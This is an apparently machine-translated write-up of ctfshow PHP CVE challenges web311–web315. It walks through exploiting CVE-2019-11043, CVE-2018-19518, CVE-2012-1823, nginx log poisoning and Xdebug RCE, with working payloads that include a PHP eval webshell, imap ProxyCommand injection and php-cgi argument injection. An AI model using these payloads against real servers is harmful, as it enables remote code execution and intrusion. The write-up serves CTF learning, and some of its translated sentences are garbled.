ctfshow phpCVE web311-web315 wp

自分で質問をするプロセスを書き、記録するのは少し時間がかかるかもしれません

web311：CVE-2019-11043

phpCVE、フラグページがある場所を1つだけ開き、コメントにはcveとだけ書かれています

それで私はBaiduに行って見てみましたが、これは多すぎることがわかりました。グループオーナーの説明をご覧ください

似曾相识,就这一个文件，不用扫描

えーと、最初に鞄を持ってみましょう

パケット検出応答：X-Powered-By：PHP / 7.1.33dev

それから私は検索に行き、多くの脆弱性の修正バージョンが7.1.33である理由を見つけました。または試してみてください

php7.1.33を検索すると、主にリモートコード実行の脆弱性であるCVE-2019-11043が見つかりました

この脆弱性は、PHP-FPMモジュールのenv_path_info関数にあり、特定のnginx + php-fpm構成では、Webユーザーによるコード実行が可能です。この脆弱性をトリガーするには、nginx.confで特定の構成が必要です。構成は次のとおりです。

location ~ [^/]\.php(/|$) {
    
    
  ...
  fastcgi_split_path_info ^(.+?\.php)(/.*)$;
  fastcgi_param PATH_INFO       $fastcgi_path_info;
  fastcgi_pass   php:9000;
  ...
}

％0a（改行）を使用して正規表現を解除し、PATH_INFOを空にします

悪用条件： nginxはfastcgi_split_path_infoで構成されています

影響を受けるシステム： PHP 5.6-7.x、Nginx> = 0.7.31

複製にはgolang環境が必要です

サーバーにgolang環境があるかどうかを確認するために立ち寄り、そうでない場合は、ちなみにインストールしてください（主に、サーバーがトラフィックなしで高速にインストールされているため）

sudo apt install golang

インストールツール：

git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go get -v && go build

質問：

go get -v && go buildを実行すると
、goプロキシのデフォルトがproxy.golang.orgになり、中国ではアクセスできないため、常に応答がありません。
次のコマンドを実行してプロキシを変更します。go env -w GOPROXY = https：/ /goproxy.cn
を実行し、go get -v again && gobuildを実行します

エクスプロイト

go run . "http://92cdd785-55c4-4b35-85fa-ae1dc7fdc367.challenge.ctf.show/index.php"

それでは、理由がわかりません。コマンドの実行時にエコーが発生する場合と、コマンドの実行時にエコーが発生しない場合があります。

つまり、？a = lsを数回実行すると、現在のディレクトリにfl0gHe1e.txtがあることがわかります。

直接アクセス

web312：CVE-2018-19518

それでも最初にパッケージを入手してください。

サーバー：nginx / 1.21.1

X-Powered-By：PHP / 5.6.38

Baiduこのphpバージョン、私のBaiduが到着しましたCVE-2018-19518（リモートコマンド実行の脆弱性）

脆弱性の紹介

php imap拡張機能は、PHPで電子メールの送受信操作を実行するために使用されます。そのimap_open関数はrshを呼び出してリモートシェルに接続し、debian / ubuntuはデフォルトでrshの代わりにsshを使用します（つまり、debianシリーズシステムでは、sshコマンドはrshコマンドの実行時に実際に実行されます）。
sshコマンドに-oProxyCommand=を設定することでサードパーティのコマンドを呼び出すことができるため、攻撃者はこのパラメータをインジェクションによって挿入します。これにより、最終的にコマンド実行の脆弱性が発生します。

影響バージョン

PHP：5.6.38
システム：Debian / ubuntu

この紹介を読んだ後、正しい抜け穴が見つかったことは明らかです。Baiduは繰り返し抜け穴を見つけます。

エクスプロイト

パッケージを送るだけ

次に、送信するコンテンツをbase64でエンコードします

最初の<?php @eval($_POST[mumuzi]);?>base64エンコード

次に、echo "PD9waHAgQGV2YWwoJF9QT1NUW211bXV6aV0pOz8+" | base64 -d >/var/www/html/ma.phpbase64でエンコードします

ZWNobyAiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VVzIxMWJYVjZhVjBwT3o4KyIgfCBiYXNlNjQgLWQgPi92YXIvd3d3L2h0bWwvbWEucGhwを取得します

注：base64エンコード後に+ =が含まれている場合は、urlエンコードする必要があります。つまり、％2b％3dです。したがって、エラーが発生しないようにするには、base64エンコードをurlエンコードすることをお勧めします。取得した文字列。同等の手順は、最初にbase64エンコード、次にurlエンコードです。

次に、ホスト名の内容を次のように置き換えますx+-oProxyCommand%3decho%09编码后的内容|base64%09-d|sh}

これはx+-oProxyCommand%3decho%09ZWNobyAiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VVzIxMWJYVjZhVjBwT3o4KyIgfCBiYXNlNjQgLWQgPi92YXIvd3d3L2h0bWwvbWEucGhw|base64%09-d|sh}

エラーがありますが、ma.phpにアクセスすると、このページがすでに存在していることがわかります

正常に実行されました

web313：CVE-2012-1823

それでもフラグはどこにありますか？パケットをキャプチャするための古いルール

今回はX-Powered-By：PHP/5.4.1です。

GoogleはCVE-2012-1823を発見しました、いいやつです。catf1agによって再現されていないこのトピック（CGI）は、PshenブログのPHP-CGIリモートコード実行の脆弱性（CVE-2012-1823）の分析で見つけることができます。

以前に一度やったので、ここでペイロードを直接ヒットしました。

最終ペイロード

/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input

<?php echo system("cat /somewhere/fla9.txt"); ?>

web314：ログファイルに含まれています

<?php

error_reporting(0);

highlight_file(__FILE__);

//phpinfo
$file = $_GET['f'];

if(!preg_match('/\:/',$file)){
    
    
    include($file);
}

フラグはphpinfoにあると言わなければなりません

コロンはここでフィルタリングされます。web81もコロンをフィルタリングし、phpとデータもフィルタリングするのでしょうか。

それから私は書かれたweb81のwpをちらっと見て、操作を追跡しようとしました。

成功

不思議なことに、ノーと言ってみませんか？

ルートディレクトリを見てください、ああフラグはルートディレクトリにあります

最後に：

GET /?f=/var/log/nginx/access.log
UA写User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36<?php system('cat /fl6g');?>

パッケージを送信した後、再度アクセスできますが、
これはCVEと何の関係がありますか？

web315：XDebugリモートデバッグの脆弱性

なぜ代替環境が推奨されるのですか？

PHP / 7.1.12、タイトルの説明：デバッグが有効、ポート9000

したがって、Baiduにアクセスして9000CVEをデバッグします

最初のものはctfshowPHPCVEwpです。。。

これは自分で行うプロセスでもあるので、直接見てください。

XDebugリモートデバッグの脆弱性：https ：//github.com/vulhub/vulhub/tree/master/php/xdebug-rce

影響

XDebugは、PHPコードのデバッグに使用されるPHPの拡張機能です。ターゲットでリモートデバッグモードが有効になっている場合は、次のように設定しremote_connect_back = 1ます。

xdebug.remote_connect_back = 1
xdebug.remote_enable = 1

この構成では、にアクセスするhttp://target/index.php?XDEBUG_SESSION_START=phpstormと、ターゲットサーバーのXDebugが訪問者のIP（またはX-Forwarded-Forヘッダーで指定されたアドレス）に接続し、dbgpプロトコルを介して通信します。ターゲットサーバーで任意のPHPコードを実行できます。 dbgpで提供されるevalメソッド。

エクスプロイト

ターゲットサーバーとの通信にはdbgpプロトコルを使用する必要があるため、httpプロトコルでは脆弱性を再現できません。

すでに書かれたスクリプトがあります：https ：//github.com/vulhub/vulhub/blob/master/php/xdebug-rce/exp.py

python3 exp.py -t http://be189f8f-1425-41a8-b830-87f722a186df.challenge.ctf.show/index.php -c 'shell_exec("ls /");'

注：通信は逆接続プロセスであるため、exp.pyが開始された後、実際にはローカルポート9000（-lパラメーターで指定可能）をリッスンし、XDebugが接続するのを待機するため、サーバーはスクリプトには外部ネットワークIP（またはターゲットサーバーと同じイントラネット内）が必要です

何度か試しましたが成功しませんでしたが、グループのオーナーが説明の中で別の環境の使用を勧めているのも不思議ではありません。
次に、グループにスタンバイ環境へのアクセスを専攻するように依頼し
ます。

これまでのところ、phpCVEセクションは終了しています